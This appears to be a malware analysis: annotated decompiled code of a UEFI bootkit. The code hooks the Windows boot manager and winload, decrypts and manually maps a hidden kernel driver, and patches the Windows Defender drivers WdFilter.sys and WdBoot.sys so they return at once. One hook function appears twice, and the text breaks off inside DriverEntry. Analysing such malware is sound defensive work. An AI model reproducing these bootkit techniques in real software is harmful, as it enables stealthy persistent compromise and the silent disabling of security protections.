  v16 = (EFI_DEVICE_PATH_PROTOCOL)0x4FF7F;      // EFI_DEVICE_PATH_PROTOCOL endPath = {0x7F, 0xFF, 0x0004};
  v4 = DevicePathSize_180002D8C(a1);
  v5 = PxepDevicePathInstanceCount(a1);
  v6 = DevicePathSize_180002D8C(&a2->Header);
  v12 = v6 + v4 * v5;
  if ( (gEfiBootServices->AllocatePool(EfiLoaderData, v12, &Buffer) & 0x8000000000000000ui64) == 0i64 )
  {
    for ( i = (EFI_DEVICE_PATH_PROTOCOL *)Buffer; ; i = v9 + 1 )
    {
      v10 = efi_devpath_last_node_180002D10(&v14, &v12);
      if ( !v10 )
        break;

      strcpy_180001024(i, (__int64)v10, v12);
      v8 = &i->Type + v12;
      strcpy_180001024(v8, (__int64)a2, v6);
      v9 = (EFI_DEVICE_PATH_PROTOCOL *)&v8[v6];
      strcpy_180001024(v9, (__int64)&v15, 4i64);
    }

    strcpy_180001024(&i[0xFFFFFFFF].Type, (__int64)&v16, 4i64);
  }

  return Buffer;
}

//????
EFI_DEVICE_PATH_PROTOCOL *__fastcall efi_devpath_last_node_180002D10(
        EFI_DEVICE_PATH_PROTOCOL **start,
        _QWORD *node_size)
{
  EFI_DEVICE_PATH *next; // r8
  EFI_DEVICE_PATH_PROTOCOL *last; // r9
  EFI_DEVICE_PATH_PROTOCOL *first; // rbx
  unsigned int i; // er10
  __int64 ptr; // rax
  bool v7; // zf

  next = *start;
  last = 0i64;
  first = *start;
  if ( *start )
  {
    for ( i = 0; ; ++i )
    {
      // #define IsDevicePathEndType(a)      ( DevicePathType(a) == END_DEVICE_PATH_TYPE )
      // #define IsDevicePathEndSubType(a)   ( (a)->SubType == END_ENTIRE_DEVICE_PATH_SUBTYPE )
      // #define IsDevicePathEnd(a)          ( IsDevicePathEndType(a) && IsDevicePathEndSubType(a) )
      ptr = (__int64)&next->SubType;
      if ( (next->Type & 0x7F) == END_DEVICE_PATH_TYPE )// IsDevicePathEndType
      {
        v7 = *(_BYTE *)ptr == END_ENTIRE_DEVICE_PATH_SUBTYPE;// IsDevicePathEndSubType(a)
        if ( *(_BYTE *)ptr == (unsigned __int8)END_ENTIRE_DEVICE_PATH_SUBTYPE )
          break;
      }

      if ( i > 0x200 )
      {
        v7 = *(_BYTE *)ptr == END_ENTIRE_DEVICE_PATH_SUBTYPE;// IsDevicePathEndSubType
        break;
      }

      next = (EFI_DEVICE_PATH *)((char *)next + *(unsigned __int16 *)next->Length);// NextDevicePathNode
    }

    if ( !v7 )
      last = (EFI_DEVICE_PATH *)((char *)next + *(unsigned __int16 *)next->Length);// NextDevicePathNode

    *start = last;
    last = first;
    *node_size = (char *)next - (char *)first;
  }

  return last;
}

anti_debug_rdtsc

__int64 anti_debug_rdtsc()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v0 = 0;
  v1 = 0i64;
  v2 = 20i64;
  do
  {
    v3 = _rdtsc_180003060();
    _RAX = 0i64;
    __asm { cpuid }
    v1 += _rdtsc_180003060() - v3;
    --v2;
  }
  while ( v2 );

  if ( (unsigned __int64)(v1 - 20) > 19999 )
    return 1;

  return v0;
}

OutputLogo_180002A08

void __noreturn OutputLogo_180002A08()
{
  EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; // rbx
  CHAR16 String[1300]; // [rsp+20h] [rbp-A28h] BYREF

  ConOut = gEfiSystemTable->ConOut;
  // ░░░░░░░░░░░░░░░░██████████████████
  // ░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░████
  // ░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░██
  // ░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░██
  // ░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
  // ░░░░░░░░██░░░░░░░░░░░░░░░░░░░░██████░░░░██
  // ░░░░░░░░██░░░░░░░░░░░░░░░░░░░░██████░░░░██
  // ░░░░░░░░██░░░░██████░░░░██░░░░██████░░░░██
  // ░░░░░░░░░░██░░░░░░░░░░██████░░░░░░░░░░██
  // ░░░░░░░░████░░██░░░░░░░░░░░░░░░░░░██░░████
  // ░░░░░░░░██░░░░██████████████████████░░░░██
  // ░░░░░░░░██░░░░░░██░░██░░██░░██░░██░░░░░░██
  // ░░░░░░░░░░████░░░░██████████████░░░░████
  // ░░░░░░██░░██████████████████████████████░░██
  // ░░░░████░░██░░░░██░░░░░░██░░░░░░██░░░░██░░████
  // ░░░░██░░░░░░██░░░░██████░░██████░░░░██░░░░░░██
  // ░░██░░░░████░░██████░░░░██░░░░██████░░████░░░░██
  // ░░██░░░░░░░░██░░░░██░░░░░░░░░░██░░░░██░░░░░░░░██
  // ░░██░░░░░░░░░░██░░██░░░░░░░░░░██░░██░░░░░░░░░░██
  // ░░░░██░░░░░░██░░░░████░░░░░░████░░░░██░░░░░░██
  // ░░░░░░████░░██░░░░██░░░░░░░░░░██░░░░██░░████
  // ░░░░░░░░██████░░░░██████████████░░░░██████
  // ░░░░░░░░░░████░░░░██████████████░░░░████
  // ░░░░░░░░██████████████████████████████████
  // ░░░░░░░░████████████████░░████████████████
  // ░░░░░░░░░░████████████░░░░░░████████████
  // ░░░░░░██████░░░░░░░░██░░░░░░██░░░░░░░░██████
  // ░░░░░░██░░░░░░░░░░████░░░░░░████░░░░░░░░░░██
  // ░░░░░░░░██████████░░░░░░░░░░░░░░██████████
  strcpy_180001024(String, (__int64)byte_1800040C0, 0xA16i64);
  ConOut->ClearScreen(ConOut);
  ConOut->OutputString(ConOut, String);
  while ( 1 )
    gEfiBootServices->Stall(0x1C9C380ui64);
}

GetPeFileVersionInfo_BuildNumber_180002538

__int64 __fastcall GetPeFileVersionInfo_BuildNumber_180002538(__int64 ImageBase)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ret = 0;
  if ( *(_WORD *)ImageBase == 23117 && *(_DWORD *)(*(int *)(ImageBase + 60) + ImageBase) == 17744 )
  {
    ResourceDirTable = RtlpImageDirectoryEntryToDataEx_RESOURCE_1800024C4(ImageBase, 1);
    if ( ResourceDirTable )
    {
      if ( *(_WORD *)(ResourceDirTable + 14) <= 100u )
      {
        i = *(unsigned __int16 *)(ResourceDirTable + 12);
        v5 = i + *(unsigned __int16 *)(ResourceDirTable + 14);
        if ( i < v5 )
        {
          // typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
          //     union {
          //         struct {
          //             DWORD NameOffset : 31;
          //             DWORD NameIsString : 1;
          //         };
          //         DWORD   Name;
          //         WORD    Id;
          //     };
          //     union {
          //         DWORD   OffsetToData;
          //         struct {
          //             DWORD   OffsetToDirectory : 31;
          //             DWORD   DataIsDirectory : 1;
          //         };
          //     };
          // } IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;
          do
          {
            v6 = (unsigned __int16)i;
            // (i * sizeof(EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY)))-->i*8
            // sizeof(EFI_IMAGE_RESOURCE_DIRECTORY)-->0x10

            // DirEntry = (EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY*)((UINT8*)ResourceDirTable + sizeof(EFI_IMAGE_RESOURCE_DIRECTORY) + (i * sizeof(EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY)));
            if ( *(int *)(ResourceDirTable + 8i64 * (unsigned __int16)i + 16) >= 0
              && *(_WORD *)(ResourceDirTable + 8i64 * (unsigned __int16)i + 16) == 16// DirEntry->u1.Id==RT_VERSION
              && *(int *)(ResourceDirTable + 8i64 * (unsigned __int16)i + 20) < 0 )// DirEntry->u2.s.OffsetToDirectory
            {
              break;
            }

            LOWORD(i) = i + 1;
          }
          while ( (unsigned __int16)i < v5 );

          if ( *(_WORD *)(ResourceDirTable + 8 * v6 + 16) == 16 )// // DirEntry->u1.Id!=RT_VERSION
          {
            ResourceDirTable2_ = ResourceDirTable + (*(_DWORD *)(ResourceDirTable + 8 * v6 + 20) & 0x7FFFFFFF);
            v8 = *(unsigned __int16 *)(ResourceDirTable2_ + 12);
            v9 = v8 + *(unsigned __int16 *)(ResourceDirTable2_ + 14);
            if ( v8 < v9 )
            {
              do
              {
                v10 = (unsigned __int16)v8;
                if ( *(int *)(ResourceDirTable2_ + 8i64 * (unsigned __int16)v8 + 16) >= 0
                  && *(_WORD *)(ResourceDirTable2_ + 8i64 * (unsigned __int16)v8 + 16) == 1// DirEntry->u1.Id == VS_VERSION_INFO-->1
                  && *(int *)(ResourceDirTable2_ + 8i64 * (unsigned __int16)v8 + 20) < 0 )// DirEntry->u2.s.OffsetToDirectory
                {
                  break;
                }

                LOWORD(v8) = v8 + 1;
              }
              while ( (unsigned __int16)v8 < v9 );

              if ( *(_WORD *)(ResourceDirTable2_ + 8 * v10 + 16) == 1 )// DirEntry->u1.Id != VS_VERSION_INFO
              {
                ResourceDirTable3_ = ResourceDirTable + (*(_DWORD *)(ResourceDirTable2_ + 8 * v10 + 20) & 0x7FFFFFFF);
                v12 = *(unsigned __int16 *)(ResourceDirTable3_ + 12);
                v13 = v12 + *(unsigned __int16 *)(ResourceDirTable3_ + 14);
                if ( v12 < v13 )
                {
                  do
                  {
                    v14 = ResourceDirTable3_ + 20 + 8i64 * (unsigned __int16)v12;// DirEntry->u2.OffsetToData
                    if ( *(int *)(ResourceDirTable3_ + 8i64 * (unsigned __int16)v12 + 16) >= 0 && *(int *)v14 >= 0 )
                      break;

                    LOWORD(v12) = v12 + 1;
                  }
                  while ( (unsigned __int16)v12 < v13 );



                  // typedef struct _VS_VERSIONINFO
                  // {
                  //     UINT16 TotalSize;//+0
                  //     UINT16 DataSize;//+2
                  //     UINT16 Type;//+4
                  //     CHAR16 Name[sizeof(L"VS_VERSION_INFO") / sizeof(CHAR16)]; // Size includes null terminator//32d  +8
                  //     VS_FIXEDFILEINFO FixedFileInfo;
                  //     // Omitted: padding fields that do not contribute to TotalSize
                  // } VS_VERSIONINFO, *PVS_VERSIONINFO;
                  // typedef struct _VS_FIXEDFILEINFO//+40d
                  // {
                  //     UINT32 dwSignature; // 0xFEEF04BD  //+40d
                  //     UINT32 dwStrucVersion;//+44d
                  //     UINT32 dwFileVersionMS;//+48d
                  //     UINT32 dwFileVersionLS;//+52d   *BuildNumber = HIWORD(VersionResource->FixedFileInfo.dwFileVersionLS);
                  //     UINT32 dwProductVersionMS;//+56d
                  //     UINT32 dwProductVersionLS;//+60d
                  //     UINT32 dwFileFlagsMask;
                  //     UINT32 dwFileFlags;
                  //     UINT32 dwFileOS;
                  //     UINT32 dwFileType;
                  //     UINT32 dwFileSubtype;
                  //     UINT32 dwFileDateMS;
                  //     UINT32 dwFileDateLS;
                  // } VS_FIXEDFILEINFO;
                  return *(unsigned __int16 *)(*(unsigned int *)(*(unsigned int *)v14 + ResourceDirTable)
                                             + ImageBase
                                             + 0x36);
                }
              }
            }
          }
        }
      }
    }
  }

  return ret;
}

HookedBootManagerImgArchStartBootApplication

__int64 __fastcall HookedBootmgfwImgArchStartBootApplication_Eight_180001D80(
        __int64 AppEntry,
        EFI_IMAGE_DOS_HEADER *ImageBase,
        unsigned int ImageSize,
        unsigned int BootOption,
        __int64 ReturnArguments)
{
  return HookedBootManagerImgArchStartBootApplication_180001C90(
           AppEntry,
           ImageBase,
           ImageSize,
           BootOption,
           ReturnArguments,
           (char *)SigImgArchStartBootApplication,
           hookbackup_180015C78);
}
__int64 __fastcall HookedBootmgfwImgArchEfiStartBootApplication_Vista_180001D48(
        __int64 a1,
        EFI_IMAGE_DOS_HEADER *a2,
        unsigned int a3,
        __int64 a4)
{
  return HookedBootManagerImgArchStartBootApplication_180001C90(
           a1,
           a2,
           a3,
           0xFFFFu,
           a4,
           (char *)SigImgArchStartBootApplication,
           hookbackup_180015C78);
}

__int64 __fastcall HookedBootManagerImgArchStartBootApplication_180001C90(
        __int64 AppEntry,
        EFI_IMAGE_DOS_HEADER *ImageBase,
        unsigned int ImageSize,
        unsigned int BootOption,
        __int64 ReturnArguments,
        char *SigImgArchStartBootApplication,
        char *OriginalFunctionBytes)
{
  int InputFileType_180002DF8; // esi
  int v12; // esi

  // 2;                                 // BootmgrEfi
  // 3;                                 // WinloadEfi
  InputFileType_180002DF8 = GetInputFileType_180002DF8(ImageBase, ImageSize);
  strcpy_180001024(SigImgArchStartBootApplication, (__int64)OriginalFunctionBytes, 14i64);
  v12 = InputFileType_180002DF8 - 2;
  if ( v12 )
  {
    if ( v12 == 1 )
      PatchWinload_WinloadEfi_180002280(ImageBase);// WinloadEfi
  }
  else
  {
    PatchBootManager_BootmgrEfi_1800021D8(ImageBase);// BootmgrEfi
  }

  if ( BootOption == 0xFFFF )
    return ((__int64 (__fastcall *)(__int64, EFI_IMAGE_DOS_HEADER *, _QWORD, __int64))SigImgArchStartBootApplication)(
             AppEntry,
             ImageBase,
             ImageSize,
             ReturnArguments);
  else
    return ((__int64 (__fastcall *)(__int64, EFI_IMAGE_DOS_HEADER *, _QWORD, _QWORD, __int64))SigImgArchStartBootApplication)(
             AppEntry,
             ImageBase,
             ImageSize,
             BootOption,
             ReturnArguments);
}

PatchWinload_WinloadEfi_180002280

void __fastcall PatchWinload_WinloadEfi_180002280(_BYTE *winloadImageBase)
{
  _BYTE *Pattern_180002F68; // rdi
  _BYTE *v3; // rsi
  EFI_TPL v4; // rbx

  gAllocatedBuffer_180015C68 = 0i64;
  gAllocatedBufferStatus_180015C60 = -1;
  AES_CBC_256_DEC_180001070(mapper_hk_180005040, 0x10C10);// TTTTTTTTTTTTTTTTTTTT
  // Memory load
  if ( *(_WORD *)mapper_hk_180005040 == 0x4B48 )// MZSignature-->custom Signature  HK
  {
    // .text:000000018008E97D 81 E3 00 00 FF 00                       and     ebx, 0FF0000h
    // .text:000000018008E9E9 81 E3 00 00 FF 00                       and     ebx, 0FF0000h
    Pattern_180002F68 = FindPattern_180002F68(winloadImageBase, pattern_BlImgAllocateImageBuffer_180004030, 6u);
    if ( Pattern_180002F68 )
    {
      // .text:000000018015A28A 48 0D 20 00 05 00                       or      rax, 50020h
      // OslArchTransferToKernel
      v3 = FindPattern_180002F68(winloadImageBase, pattern_OslArchTransferToKernel_180004038, 6u);
      if ( v3 )
      {
        BlImgAllocateImageBuffer = (char *)BacktrackToFunctionStart_180002398(
                                             (__int64)winloadImageBase,
                                             (__int64)Pattern_180002F68);
        if ( BlImgAllocateImageBuffer )
        {
          OslArchTransferToKernel = (char *)BacktrackToFunctionStart_180002398((__int64)winloadImageBase, (__int64)v3);
          if ( OslArchTransferToKernel )
          {
            v4 = gEfiBootServices->RaiseTPL(0x1Fui64);
            HookJmp_180002A60(
              BlImgAllocateImageBuffer,
              (__int64)BlImgAllocateImageBufferHook_180001BAC,
              orig_BlImgAllocateImageBuffer_backup_180015CA8);
            HookJmp_180002A60(
              OslArchTransferToKernel,
              (__int64)OslArchTransferToKernelHook_180001AE8,
              orig_OslArchTransferToKernel_backup_180015CC0);
            gEfiBootServices->RestoreTPL(v4);
          }
        }
      }
    }
  }
}
BlImgAllocateImageBufferHook_180001BAC
// https://joshfinley.github.io/uefi-development-and-bootkits/
// https://github.com/btbd/umap/blob/master/boot/main.c
__int64 __fastcall BlImgAllocateImageBufferHook_180001BAC(
        __int64 imageBuffer,
        __int64 imageSize,
        unsigned int memoryType,
        unsigned int attributes,
        int unused,
        int flags)
{
  char *BlImgAllocateImageBuffer_; // r14
  int v11; // ebx

  strcpy_180001024(BlImgAllocateImageBuffer, (__int64)orig_BlImgAllocateImageBuffer_backup_180015CA8, 14i64);
  BlImgAllocateImageBuffer_ = BlImgAllocateImageBuffer;
  v11 = ((__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, int, int))BlImgAllocateImageBuffer)(
          imageBuffer,
          imageSize,
          memoryType,
          attributes,
          unused,
          flags);
  // #define BL_MEMORY_TYPE_APPLICATION  (0xE0000012)
  // #define BL_MEMORY_ATTRIBUTE_RWX     (0x424000)
  if ( v11 >= 0 && memoryType == 0xE0000012 )   // BL_MEMORY_TYPE_APPLICATION
    gAllocatedBufferStatus_180015C60 = ((__int64 (__fastcall *)(__int64 *, _QWORD, __int64, __int64, int, _DWORD))BlImgAllocateImageBuffer_)(
                                         &gAllocatedBuffer_180015C68,
                                         *(unsigned int *)&mapper_hk_180005040[*(int *)&mapper_hk_180005040[0x3C] + 0x50],// DWORD SizeOfImage
                                         0xE0000012i64,// BL_MEMORY_TYPE_APPLICATION
                                         0x424000i64,// BL_MEMORY_ATTRIBUTE_RWX
                                         unused,
                                         0);
  else
    HookJmp_180002A60(
      BlImgAllocateImageBuffer,
      (__int64)BlImgAllocateImageBufferHook_180001BAC,
      orig_BlImgAllocateImageBuffer_backup_180015CA8);

  return (unsigned int)v11;
}// https://joshfinley.github.io/uefi-development-and-bootkits/
// https://github.com/btbd/umap/blob/master/boot/main.c
__int64 __fastcall BlImgAllocateImageBufferHook_180001BAC(
        __int64 imageBuffer,
        __int64 imageSize,
        unsigned int memoryType,
        unsigned int attributes,
        int unused,
        int flags)
{
  char *BlImgAllocateImageBuffer_; // r14
  int v11; // ebx

  strcpy_180001024(BlImgAllocateImageBuffer, (__int64)orig_BlImgAllocateImageBuffer_backup_180015CA8, 14i64);
  BlImgAllocateImageBuffer_ = BlImgAllocateImageBuffer;
  v11 = ((__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, int, int))BlImgAllocateImageBuffer)(
          imageBuffer,
          imageSize,
          memoryType,
          attributes,
          unused,
          flags);
  // #define BL_MEMORY_TYPE_APPLICATION  (0xE0000012)
  // #define BL_MEMORY_ATTRIBUTE_RWX     (0x424000)
  if ( v11 >= 0 && memoryType == 0xE0000012 )   // BL_MEMORY_TYPE_APPLICATION
    gAllocatedBufferStatus_180015C60 = ((__int64 (__fastcall *)(__int64 *, _QWORD, __int64, __int64, int, _DWORD))BlImgAllocateImageBuffer_)(
                                         &gAllocatedBuffer_180015C68,
                                         *(unsigned int *)&mapper_pe_180005040[*(int *)&mapper_pe_180005040[0x3C] + 0x50],// DWORD SizeOfImage
                                         0xE0000012i64,// BL_MEMORY_TYPE_APPLICATION
                                         0x424000i64,// BL_MEMORY_ATTRIBUTE_RWX
                                         unused,
                                         0);
  else
    HookJmp_180002A60(
      BlImgAllocateImageBuffer,
      (__int64)BlImgAllocateImageBufferHook_180001BAC,
      orig_BlImgAllocateImageBuffer_backup_180015CA8);

  return (unsigned int)v11;
}
OslArchTransferToKernelHook_180001AE8
__int64 __fastcall OslArchTransferToKernelHook_180001AE8(LOADER_PARAMETER_BLOCK *KernelParams, __int64 KiSystemStartup)
{
  struct _LIST_ENTRY *diskSys_EntryPoint; // rax
  char *diskSys_EntryPoint1; // rbx
  __int64 mapperEntryPoint; // [rsp+40h] [rbp+18h] BYREF

  mapperEntryPoint = 0i64;
  strcpy_180001024(OslArchTransferToKernel, orig_OslArchTransferToKernel_backup_180015CC0);
  if ( gAllocatedBufferStatus_180015C60 >= 0 )
  {
    if ( gAllocatedBuffer_180015C68 )
    {
      // disk.sys 0x79943DBC
      // WdFilter.sys 0x065A83C4
      // WdBoot.sys 0x9B64473E

      // patch WdFilter.sys and WdBoot.sys EntryPoint-->ret
      // ret -->disk.sys EntryPoint
      diskSys_EntryPoint = PatchWdSysAndReturnDiskSysEP_180002FEC(KernelParams, 0x79943DBC);
      diskSys_EntryPoint1 = (char *)diskSys_EntryPoint;
      if ( diskSys_EntryPoint )
      {
        if ( (unsigned int)MapMapper_180001E20(
                             (__int64)mapper_hk_180005040,
                             (char *)gAllocatedBuffer_180015C68,
                             (__int64)diskSys_EntryPoint,
                             &mapperEntryPoint) )
        {
          // 4C 8D 05 F9 FF FF FF 
          // lea r8, ds:[thisaddr]
          strcpy_180001024(diskSys_EntryPoint1, "L\x8D\x05\xF9\xFF\xFF\xFF");
          HookJmp_180002A60(diskSys_EntryPoint1 + 7, mapperEntryPoint, 0i64);
        }
      }
    }
  }

  return ((__int64 (__fastcall *)(LOADER_PARAMETER_BLOCK *, __int64))OslArchTransferToKernel)(
           KernelParams,
           KiSystemStartup);
}
PatchWdSysAndReturnDiskSysEP_180002FEC
struct _LIST_ENTRY *__fastcall PatchWdSysAndReturnDiskSysEP_180002FEC(
        LOADER_PARAMETER_BLOCK *KernelParams,
        int diskSysHash)
{
  struct _KLDR_DATA_TABLE_ENTRY *p_LoadOrderListHead; // rdi
  PKLDR_DATA_TABLE_ENTRY Flink; // rbx
  void *diskSys_EntryPoint; // rsi
  CHAR16 *Buffer; // rcx
  int v7; // eax

  p_LoadOrderListHead = (struct _KLDR_DATA_TABLE_ENTRY *)&KernelParams->LoadOrderListHead;
  Flink = (PKLDR_DATA_TABLE_ENTRY)KernelParams->LoadOrderListHead.Flink;
  diskSys_EntryPoint = 0i64;
  while ( Flink != p_LoadOrderListHead )
  {
    Buffer = Flink->BaseImageName.Buffer;
    if ( Buffer )
    {
      v7 = ws_hash_0x1003f_1800029DC(Buffer, Flink->BaseImageName.Length >> 1);
      if ( v7 == diskSysHash )
      {
        diskSys_EntryPoint = Flink->EntryPoint;
      }
                                                // WdFilter.sys 0x065A83C4
                                                // WdBoot.sys 0x9B64473E
      else if ( v7 == 0x65A83C4 || v7 == 0x9B64473E )
      {
        *(_BYTE *)Flink->EntryPoint = 0xC3;     // ret
      }
    }

    Flink = (PKLDR_DATA_TABLE_ENTRY)Flink->InLoadOrderLinks.Flink;
  }

  return (struct _LIST_ENTRY *)diskSys_EntryPoint;
}
MapMapper_180001E20
__int64 __fastcall MapMapper_180001E20(
        __int64 HKImageBase,
        char *AllocatedBuffer,
        __int64 diskSys_EntryPoint,
        _QWORD *EntryPoint)
{
  EFI_IMAGE_NT_HEADERS64 *ntheader; // rsi

  // https://github.com/btbd/umap/blob/master/boot/main.c
  ntheader = (EFI_IMAGE_NT_HEADERS64 *)(HKImageBase + *(int *)(HKImageBase + 0x3C));
  memset_180001000(AllocatedBuffer, 0, ntheader->OptionalHeader.SizeOfHeaders);// 清空NT头
  copySection_180001FB8(ntheader, HKImageBase, (__int64)AllocatedBuffer);
  resolveRelocations_180001EB0(ntheader, (__int64)AllocatedBuffer);
  copyEntryPoint2Exports_180001F6C(ntheader, (__int64)AllocatedBuffer, (_BYTE *)diskSys_EntryPoint);
  *EntryPoint = &AllocatedBuffer[ntheader->OptionalHeader.AddressOfEntryPoint];
  return 1i64;
}

void __fastcall copySection_180001FB8(EFI_IMAGE_NT_HEADERS64 *ntheader, __int64 HKImageBase, __int64 AllocatedBuffer)
{
  char *v3; // rsi
  UINT16 i; // bx
  unsigned int v8; // eax

  v3 = (char *)ntheader + ntheader->FileHeader.SizeOfOptionalHeader;
  for ( i = 0; i < ntheader->FileHeader.NumberOfSections; ++i )
  {
    v8 = *(_DWORD *)&v3[0x28 * i + 0x28];
    if ( v8 )
      strcpy_180001024(
        (_BYTE *)(AllocatedBuffer + *(unsigned int *)&v3[0x28 * i + 0x24]),
        HKImageBase + *(unsigned int *)&v3[0x28 * i + 44],
        v8);
  }
}

__int64 __fastcall resolveRelocations_180001EB0(EFI_IMAGE_NT_HEADERS64 *ntheader, __int64 AllocatedBuffer)
{
  __int64 VirtualAddress; // rax
  unsigned int v4; // ebx
  EFI_IMAGE_RELOCATION *v5; // r9
  UINT32 v6; // er10
  UINT32 Size; // eax
  EFI_IMAGE_RELOCATION *p_Type; // rdx
  unsigned __int64 v9; // rax
  __int64 v10; // rsi
  __int64 v11; // r11
  int v12; // eax

  // struct IMAGE_DATA_DIRECTORY BaseRelocationTable
  VirtualAddress = ntheader->OptionalHeader.DataDirectory[5].VirtualAddress;
  v4 = 1;
  if ( (_DWORD)VirtualAddress )
  {
    v5 = (EFI_IMAGE_RELOCATION *)(AllocatedBuffer + VirtualAddress);
    v6 = 0;
    Size = ntheader->OptionalHeader.DataDirectory[5].Size;
    if ( Size )
    {
      do
      {
        p_Type = (EFI_IMAGE_RELOCATION *)&v5->Type;
        v9 = ((unsigned __int64)v5->SymbolTableIndex - 8) >> 1;
        v10 = AllocatedBuffer + v5->VirtualAddress;
        if ( (_DWORD)v9 )
        {
          v11 = (unsigned int)v9;
          do
          {
            v12 = LOWORD(p_Type->VirtualAddress) >> 12;
            if ( v12 )
            {
              if ( v12 == 10 )
                *(_QWORD *)((p_Type->VirtualAddress & 0xFFF) + v10) += AllocatedBuffer
                                                                     - ntheader->OptionalHeader.ImageBase;
              else
                v4 = 0;
            }

            p_Type = (EFI_IMAGE_RELOCATION *)((char *)p_Type + 2);
            --v11;
          }
          while ( v11 );
        }

        v6 += v5->SymbolTableIndex;
        v5 = p_Type;
        Size = ntheader->OptionalHeader.DataDirectory[5].Size;
      }
      while ( v6 < Size );
    }

    memset_180001000(v5, 0, Size);
  }

  return v4;
}

char __fastcall copyEntryPoint2Exports_180001F6C(
        EFI_IMAGE_NT_HEADERS64 *ntheader,
        __int64 AllocatedBuffer,
        _BYTE *diskSys_EntryPoint)
{
  EFI_IMAGE_EXPORT_DIRECTORY *exportsRva; // rax

  exportsRva = (EFI_IMAGE_EXPORT_DIRECTORY *)ntheader->OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
  if ( (_DWORD)exportsRva )
  {
    if ( *(UINT32 *)((char *)&exportsRva->NumberOfNames + AllocatedBuffer) )
      LOBYTE(exportsRva) = strcpy_180001024(
                             (_BYTE *)(AllocatedBuffer
                                     + *(unsigned int *)(AllocatedBuffer
                                                       + *(unsigned int *)((unsigned int)exportsRva
                                                                         + AllocatedBuffer
                                                                         + 0x1C)
                                                       + 4i64
                                                       * *(unsigned __int16 *)(*(unsigned int *)((char *)&exportsRva->AddressOfNameOrdinals
                                                                                               + AllocatedBuffer)
                                                                             + AllocatedBuffer))),
                             (__int64)diskSys_EntryPoint,
                             0x15i64);
  }

  //     // Copy mapper data
  //     UINT32 exportsRva =
  //         ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
  //         .VirtualAddress;

  //     if (exportsRva) {
  //         IMAGE_EXPORT_DIRECTORY *exports =
  //             (IMAGE_EXPORT_DIRECTORY *)(mapperBase + exportsRva);

  //         if (exports->NumberOfNames) {
  //             UINT32 *funcRva =
  //                 (UINT32 *)(mapperBase + exports->AddressOfFunctions);

  //             UINT16 *ordinalRva =
  //                 (UINT16 *)(mapperBase + exports->AddressOfNameOrdinals);

  //             MemCopy(mapperBase + funcRva[ordinalRva[0]], targetFunction,
  //                 MAPPER_DATA_SIZE);
  //         }
  //     }
  return (char)exportsRva;
}

PatchBootManager_BootmgrEfi_1800021D8

Legacy bios模式

void __fastcall PatchBootManager_BootmgrEfi_1800021D8(_BYTE *ImageBase_BootmgrEfi)
{
  unsigned int BuildNumber; // eax
  void *HookAddress; // rdi
  _BYTE *Pattern_180002F68; // rax
  EFI_TPL v5; // rbx

  BuildNumber = GetPeFileVersionInfo_BuildNumber_180002538((__int64)ImageBase_BootmgrEfi);
  if ( BuildNumber >= 7600 )
  {
    HookAddress = HookedBootmgrImgArchStartBootApplication_Eight_180001DF0;
    if ( BuildNumber < 9200 )
      HookAddress = HookedBootmgrImgArchEfiStartBootApplication_Vista_180001DB8;

    Pattern_180002F68 = FindPattern_180002F68(ImageBase_BootmgrEfi, SigImgArchStartBootApplication_180004040, 6u);
    if ( Pattern_180002F68 )
    {
      ImgArchStartBootApplication = BacktrackToFunctionStart_180002398(
                                      (__int64)ImageBase_BootmgrEfi,
                                      (__int64)Pattern_180002F68);
      if ( ImgArchStartBootApplication )
      {
        v5 = gEfiBootServices->RaiseTPL(0x1Fui64);
        HookJmp_180002A60(
          (_BYTE *)ImgArchStartBootApplication,
          (__int64)HookAddress,
          orig_ImgArchStartBootApplication_backup_180015C90);
        gEfiBootServices->RestoreTPL(v5);
      }
    }
  }
}
HookedBootmgrImgArchStartBootApplication
__int64 __fastcall HookedBootmgrImgArchStartBootApplication_Eight_180001DF0(
        __int64 AppEntry,
        EFI_IMAGE_DOS_HEADER *ImageBase,
        unsigned int ImageSize,
        unsigned int BootOption,
        __int64 ReturnArguments)
{
  return HookedBootManagerImgArchStartBootApplication_180001C90(
           AppEntry,
           ImageBase,
           ImageSize,
           BootOption,
           ReturnArguments,
           (char *)ImgArchStartBootApplication,
           hookbackup_180015C78);
}
__int64 __fastcall HookedBootmgrImgArchEfiStartBootApplication_Vista_180001DB8(
        __int64 AppEntry,
        EFI_IMAGE_DOS_HEADER *ImageBase,
        unsigned int ImageSize,
        __int64 ReturnArguments)
{
  return HookedBootManagerImgArchStartBootApplication_180001C90(
           AppEntry,
           ImageBase,
           ImageSize,
           0xFFFFu,
           ReturnArguments,
           (char *)ImgArchStartBootApplication,
           hookbackup_180015C78);
}

mapper_hk(内存加载的内核程序)

OslArchTransferToKernelHook下,在disk.sys入口点进行内存加载mapper_hk,

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  void *v2; // r8
  void *diskSys_EntryPoint; // rbx
  __int64 ThreadHandle; // [rsp+50h] [rbp+8h] BYREF

  diskSys_EntryPoint = v2;                      // r8-->
                                                // OslArchTransferToKernelHook->PatchWdSysAndReturnDiskSysEP to set diskSys_EntryPoint
  gDriverObject_140012418 = DriverObject;
  init_ntoskrnl_exe_imports();
  // .data:0000000140012400 ; Exported entry   1. restore
  // .data:0000000140012400                 public restore
  // .data:0000000140012400 restore         db    ? ;  
  // restore-->bootkit OslArchTransferToKernelHook set Original diskSys_EntryPoint
  memcpy_to_kernel(diskSys_EntryPoint, &restore, 0x15u);
